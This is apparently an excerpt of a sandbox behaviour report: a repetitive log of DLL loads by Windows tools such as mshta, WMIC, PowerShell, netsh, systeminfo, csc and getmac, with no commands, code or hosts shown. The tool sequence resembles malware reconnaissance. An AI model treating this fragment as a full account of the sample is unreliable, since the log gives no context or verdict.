Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textshaping.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxcore.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\tree.com	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\tree.com	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tree.com	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\getmac.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\getmac.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\getmac.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\getmac.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\getmac.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\getmac.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\getmac.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\getmac.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\getmac.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\getmac.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\getmac.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\getmac.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\getmac.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll
